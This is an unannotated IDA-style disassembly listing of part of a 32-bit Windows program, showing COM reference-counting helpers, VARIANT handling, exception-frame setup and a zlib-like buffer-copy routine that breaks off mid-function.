sub_4298D0 proc near ; CODE XREF: sub_42852F+39p
; sub_42852F+89Ep
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4298D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4298F0 proc near ; CODE XREF: sub_42852F+82Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [eax], edx
mov ecx, [ebp+var_4]
call sub_429A00
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4298F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429920 proc near ; CODE XREF: sub_42852F+6FDp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_429920
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
mov [ebp+var_18], ecx
mov ecx, [ebp+var_18]
call sub_4241A6
push 0Ch
call sub_431784
add esp, 4
mov [ebp+var_14], eax
mov [ebp+var_4], 0
cmp [ebp+var_14], 0
jz short loc_429971
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_14]
call sub_4241E4
mov [ebp+var_1C], eax
jmp short loc_429978
; ---------------------------------------------------------------------------
loc_429971: ; CODE XREF: sub_429920+3Ej
mov [ebp+var_1C], 0
loc_429978: ; CODE XREF: sub_429920+4Fj
mov ecx, [ebp+var_1C]
mov [ebp+var_10], ecx
mov [ebp+var_4], 0FFFFFFFFh
mov edx, [ebp+var_18]
mov eax, [ebp+var_10]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_429920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4299A0 proc near ; CODE XREF: sub_42852F+71Ap
; sub_42852F+A23p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_4299C0
mov ecx, [ebp+var_4]
mov ecx, [ecx]
call sub_429A40
mov [ebp+var_8], eax
jmp short loc_4299C7
; ---------------------------------------------------------------------------
loc_4299C0: ; CODE XREF: sub_4299A0+Fj
mov [ebp+var_8], 0
loc_4299C7: ; CODE XREF: sub_4299A0+1Ej
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4299A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4299D0 proc near ; CODE XREF: sub_42852F+70Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_4299F0
mov ecx, [ebp+var_4]
mov ecx, [ecx]
call sub_429A50
mov [ebp+var_8], eax
jmp short loc_4299F7
; ---------------------------------------------------------------------------
loc_4299F0: ; CODE XREF: sub_4299D0+Fj
mov [ebp+var_8], 0
loc_4299F7: ; CODE XREF: sub_4299D0+1Ej
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4299D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A00 proc near ; CODE XREF: sub_4298F0+14p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_429A19
mov ecx, [ebp+var_4]
mov ecx, [ecx]
call sub_429A20
loc_429A19: ; CODE XREF: sub_429A00+Dj
mov esp, ebp
pop ebp
retn
sub_429A00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A20 proc near ; CODE XREF: sub_429A00+14p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
add eax, 8
push eax
call dword_4330AC ; InterlockedIncrement
mov ecx, [ebp+var_4]
mov eax, [ecx+8]
mov esp, ebp
pop ebp
retn
sub_429A20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A40 proc near ; CODE XREF: sub_4299A0+16p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov eax, [eax]
mov esp, ebp
pop ebp
retn
sub_429A40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A50 proc near ; CODE XREF: sub_4299D0+16p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_429A72
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
call dword_433278
mov [ebp+var_8], eax
jmp short loc_429A79
; ---------------------------------------------------------------------------
loc_429A72: ; CODE XREF: sub_429A50+Fj
mov [ebp+var_8], 0
loc_429A79: ; CODE XREF: sub_429A50+20j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_429A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A80 proc near ; CODE XREF: sub_42852F+814p
; sub_429AA0+3Cp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
push eax
call dword_433268
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_429A80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429AA0 proc near ; CODE XREF: sub_42852F+885p
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_14 = word ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_429AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov [ebp+var_24], ecx
mov eax, [ebp+var_24]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 0Bh
jnz short loc_429AD9
mov edx, [ebp+var_24]
movsx eax, word ptr [edx+8]
test eax, eax
setnz al
jmp short loc_429B14
; ---------------------------------------------------------------------------
loc_429AD9: ; CODE XREF: sub_429AA0+29j
lea ecx, [ebp+var_1C]
call sub_429A80
mov [ebp+var_4], 0
mov ecx, [ebp+var_24]
push ecx
push 0Bh
lea ecx, [ebp+var_1C]
call sub_429BE0
movsx edx, [ebp+var_14]
test edx, edx
setnz al
mov [ebp+var_20], al
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_429C40
mov al, [ebp+var_20]
loc_429B14: ; CODE XREF: sub_429AA0+37j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_429AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429B30 proc near ; CODE XREF: sub_42852F+86Dp
var_4 = dword ptr -4
arg_0 = word ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 2
jnz short loc_429B51
mov edx, [ebp+var_4]
mov ax, [ebp+arg_0]
mov [edx+8], ax
jmp short loc_429B8A
; ---------------------------------------------------------------------------
loc_429B51: ; CODE XREF: sub_429B30+12j
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
cmp edx, 0Bh
jnz short loc_429B6F
movsx eax, [ebp+arg_0]
neg eax
sbb eax, eax
mov ecx, [ebp+var_4]
mov [ecx+8], ax
jmp short loc_429B8A
; ---------------------------------------------------------------------------
loc_429B6F: ; CODE XREF: sub_429B30+2Cj
mov ecx, [ebp+var_4]
call sub_429BA0
mov edx, [ebp+var_4]
mov word ptr [edx], 2
mov eax, [ebp+var_4]
mov cx, [ebp+arg_0]
mov [eax+8], cx
loc_429B8A: ; CODE XREF: sub_429B30+1Fj
; sub_429B30+3Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_429B30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429BA0 proc near ; CODE XREF: sub_429B30+42p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
push eax
call dword_433264
push eax
call sub_429BC0
add esp, 4
mov esp, ebp
pop ebp
retn
sub_429BA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429BC0 proc near ; CODE XREF: sub_429BA0+12p
; sub_429BE0+46p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jge short loc_429BD2
mov eax, [ebp+arg_0]
push eax
call sub_431AB2
loc_429BD2: ; CODE XREF: sub_429BC0+7j
pop ebp
retn
sub_429BC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429BE0 proc near ; CODE XREF: sub_429AA0+51p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
cmp [ebp+arg_4], 0
jnz short loc_429BF3
mov eax, [ebp+var_4]
mov [ebp+arg_4], eax
loc_429BF3: ; CODE XREF: sub_429BE0+Bj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_4]
jnz short loc_429C10
mov edx, [ebp+arg_0]
and edx, 0FFFFh
mov eax, [ebp+var_4]
xor ecx, ecx
mov cx, [eax]
cmp edx, ecx
jz short loc_429C2E
loc_429C10: ; CODE XREF: sub_429BE0+19j
mov dx, word ptr [ebp+arg_0]
push edx
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_433260
push eax
call sub_429BC0
add esp, 4
loc_429C2E: ; CODE XREF: sub_429BE0+2Ej
mov esp, ebp
pop ebp
retn 8
sub_429BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429C40 proc near ; CODE XREF: sub_42852F+A40p
; sub_42852F+AAFp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
push eax
call dword_433264
push eax
call sub_429BC0
add esp, 4
mov esp, ebp
pop ebp
retn
sub_429C40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429C60 proc near ; CODE XREF: sub_42852F+7AAp
; sub_431CA4+11p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax+4], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_4]
mov [edx+8], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+0Ch], 0
mov edx, [ebp+var_4]
mov dword ptr [edx], offset off_434AE8
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jz short loc_429CB4
mov ecx, [ebp+arg_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_429CB4
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov ecx, [edx]
push eax
call dword ptr [ecx+4]
loc_429CB4: ; CODE XREF: sub_429C60+33j
; sub_429C60+40j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_429C60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429CC0 proc near ; DATA XREF: TEUm:off_434AE8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_429CF0
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_429CE5
mov ecx, [ebp+var_4]
push ecx
call sub_43177E
add esp, 4
loc_429CE5: ; CODE XREF: sub_429CC0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_429CC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429CF0 proc near ; CODE XREF: sub_42852F+7BFp
; sub_429CC0+Ap
; DATA XREF: ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_434AE8
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jz short loc_429D1B
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov ecx, [edx]
push eax
call dword ptr [ecx+8]
loc_429D1B: ; CODE XREF: sub_429CF0+17j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jz short loc_429D31
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
push ecx
call dword_4330A8 ; LocalFree
loc_429D31: ; CODE XREF: sub_429CF0+32j
mov esp, ebp
pop ebp
retn
sub_429CF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429D40 proc near ; CODE XREF: sub_42852F+8BBp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov [ebp+var_C], 0
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx]
mov eax, [ebp+var_10]
push eax
call dword ptr [edx+0B4h]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jge short loc_429D7E
push offset dword_4375F0
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_431AC0
loc_429D7E: ; CODE XREF: sub_429D40+2Aj
push 0
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
call sub_429F90
mov ecx, [ebp+var_C]
or ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn 4
sub_429D40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429DA0 proc near ; CODE XREF: sub_42852F+856p
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_429DA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
mov [ebp+var_1C], ecx
mov [ebp+var_4], 0
lea eax, [ebp+var_14]
push eax
lea ecx, [ebp+arg_0]
call sub_4299A0
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx]
mov eax, [ebp+var_1C]
push eax
call dword ptr [edx+104h]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jge short loc_429DFC
push offset dword_4375F0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_10]
push edx
call sub_431AC0
loc_429DFC: ; CODE XREF: sub_429DA0+48j
mov ax, [ebp+var_14]
mov [ebp+var_18], ax
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_4241A6
mov ax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_429DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429E30 proc near ; CODE XREF: sub_42852F+776p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
cmp [ebp+arg_0], 0
jz short loc_429E50
push 80004003h
call sub_431AB2
loc_429E50: ; CODE XREF: sub_429E30+14j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_429E30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429E60 proc near ; CODE XREF: sub_42852F+7CEp
; sub_42852F+A4Fp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_429FF0
mov esp, ebp
pop ebp
retn
sub_429E60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429E80 proc near ; CODE XREF: sub_42852F+84Bp
; sub_42852F+8B4p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jnz short loc_429E99
push 80004003h
call sub_431AB2
loc_429E99: ; CODE XREF: sub_429E80+Dj
mov ecx, [ebp+var_4]
mov eax, [ecx]
mov esp, ebp
pop ebp
retn
sub_429E80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429EB0 proc near ; CODE XREF: sub_42852F+78Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
call sub_429FF0
mov eax, [ebp+arg_8]
and eax, 14h
test eax, eax
jz short loc_429F2D
lea ecx, [ebp+var_8]
push ecx
push offset dword_437600
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4332AC
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jge short loc_429EF4
mov eax, [ebp+var_4]
jmp short loc_429F4F
; ---------------------------------------------------------------------------
loc_429EF4: ; CODE XREF: sub_429EB0+3Dj
mov edx, [ebp+var_8]
push edx
call dword_4332A8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jl short loc_429F1F
mov eax, [ebp+var_C]
push eax
call sub_429FE0
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov eax, [ebp+var_8]
push eax
call dword ptr [edx]
mov [ebp+var_4], eax
loc_429F1F: ; CODE XREF: sub_429EB0+55j
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov eax, [ebp+var_8]
push eax
call dword ptr [edx+8]
jmp short loc_429F4C
; ---------------------------------------------------------------------------
loc_429F2D: ; CODE XREF: sub_429EB0+19j
mov ecx, [ebp+var_C]
push ecx
call sub_429FE0
push eax
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4332AC
mov [ebp+var_4], eax
loc_429F4C: ; CODE XREF: sub_429EB0+7Bj
mov eax, [ebp+var_4]
loc_429F4F: ; CODE XREF: sub_429EB0+42j
mov esp, ebp
pop ebp
retn 0Ch
sub_429EB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429F60 proc near ; CODE XREF: sub_42852F+8F3p
; sub_42852F+9C2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [eax], edx
mov ecx, [ebp+var_4]
call sub_42A070
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_429F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429F90 proc near ; CODE XREF: sub_429D40+47p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+arg_4]
and edx, 0FFh
test edx, edx
jz short loc_429FB4
mov ecx, [ebp+var_4]
call sub_42A070
loc_429FB4: ; CODE XREF: sub_429F90+1Aj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_429F90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429FC0 proc near ; CODE XREF: sub_42852F+8D3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
mov ecx, [ebp+var_4]
call sub_42A020
mov esp, ebp
pop ebp
retn 4
sub_429FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429FE0 proc near ; CODE XREF: sub_429EB0+5Bp
; sub_429EB0+81p
push ebp
mov ebp, esp
call sub_42A0A0
pop ebp
retn
sub_429FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429FF0 proc near ; CODE XREF: sub_429E60+Ap
; sub_429EB0+Cp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_42A00F
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+var_4]
mov ecx, [eax]
mov eax, [ecx]
push edx
call dword ptr [eax+8]
loc_42A00F: ; CODE XREF: sub_429FF0+Dj
mov esp, ebp
pop ebp
retn
sub_429FF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A020 proc near ; CODE XREF: sub_429FC0+10p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jz short loc_42A05D
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov ecx, [ebp+var_8]
call sub_42A070
cmp [ebp+var_4], 0
jz short loc_42A05D
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
push edx
call dword ptr [ecx+8]
loc_42A05D: ; CODE XREF: sub_42A020+11j
; sub_42A020+2Fj
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_42A020 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A070 proc near ; CODE XREF: sub_429F60+14p
; sub_429F90+1Fp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax], 0
jz short loc_42A08F
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+var_4]
mov ecx, [eax]
mov eax, [ecx]
push edx
call dword ptr [eax+4]
loc_42A08F: ; CODE XREF: sub_42A070+Dj
mov esp, ebp
pop ebp
retn
sub_42A070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A0A0 proc near ; CODE XREF: sub_429FE0+3p
push ebp
mov ebp, esp
mov eax, offset dword_4375F0
pop ebp
retn
sub_42A0A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A0B0 proc near ; CODE XREF: sub_42A2DE+220p
; sub_42A2DE+39Ep ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+34h]
ja short loc_42A0DE
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [ebp+var_10], ecx
jmp short loc_42A0E7
; ---------------------------------------------------------------------------
loc_42A0DE: ; CODE XREF: sub_42A0B0+21j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
mov [ebp+var_10], eax
loc_42A0E7: ; CODE XREF: sub_42A0B0+2Cj
mov ecx, [ebp+var_10]
sub ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_C]
cmp eax, [edx+10h]
jbe short loc_42A104
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
mov [ebp+var_C], edx
loc_42A104: ; CODE XREF: sub_42A0B0+49j
cmp [ebp+var_C], 0
jz short loc_42A117
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_42A117
mov [ebp+arg_8], 0
loc_42A117: ; CODE XREF: sub_42A0B0+58j
; sub_42A0B0+5Ej
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
sub ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
mov [edx+10h], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
add ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+38h], 0
jz short loc_42A168
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+38h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+3Ch], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
mov [edx+30h], ecx
loc_42A168: ; CODE XREF: sub_42A0B0+8Cj
cmp [ebp+var_C], 0
jz short loc_42A194
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_4318C4 ; memcpy
add esp, 0Ch
mov edx, [ebp+var_4]
add edx, [ebp+var_C]
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
loc_42A194: ; CODE XREF: sub_42A0B0+BCj
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz loc_42A270
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+34h]
cmp ecx, [eax+2Ch]
jnz short loc_42A1C6
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [edx+34h], ecx
loc_42A1C6: ; CODE XREF: sub_42A0B0+108j
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
sub eax, [ebp+var_8]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
cmp edx, [ecx+10h]
jbe short loc_42A1E6
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov [ebp+var_C], ecx
loc_42A1E6: ; CODE XREF: sub_42A0B0+12Bj
cmp [ebp+var_C], 0
jz short loc_42A1F9
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_42A1F9
mov [ebp+arg_8], 0
loc_42A1F9: ; CODE XREF: sub_42A0B0+13Aj
; sub_42A0B0+140j
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
sub eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [ecx+10h], eax
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
add eax, [ebp+var_C]
mov ecx, [ebp+arg_4]
mov [ecx+14h], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+38h], 0
jz short loc_42A24A
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+3Ch]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+38h]
add esp, 0Ch
mov edx, [ebp+arg_0]
mov [edx+3Ch], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
mov [eax+30h], edx
loc_42A24A: ; CODE XREF: sub_42A0B0+16Ej
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4318C4 ; memcpy
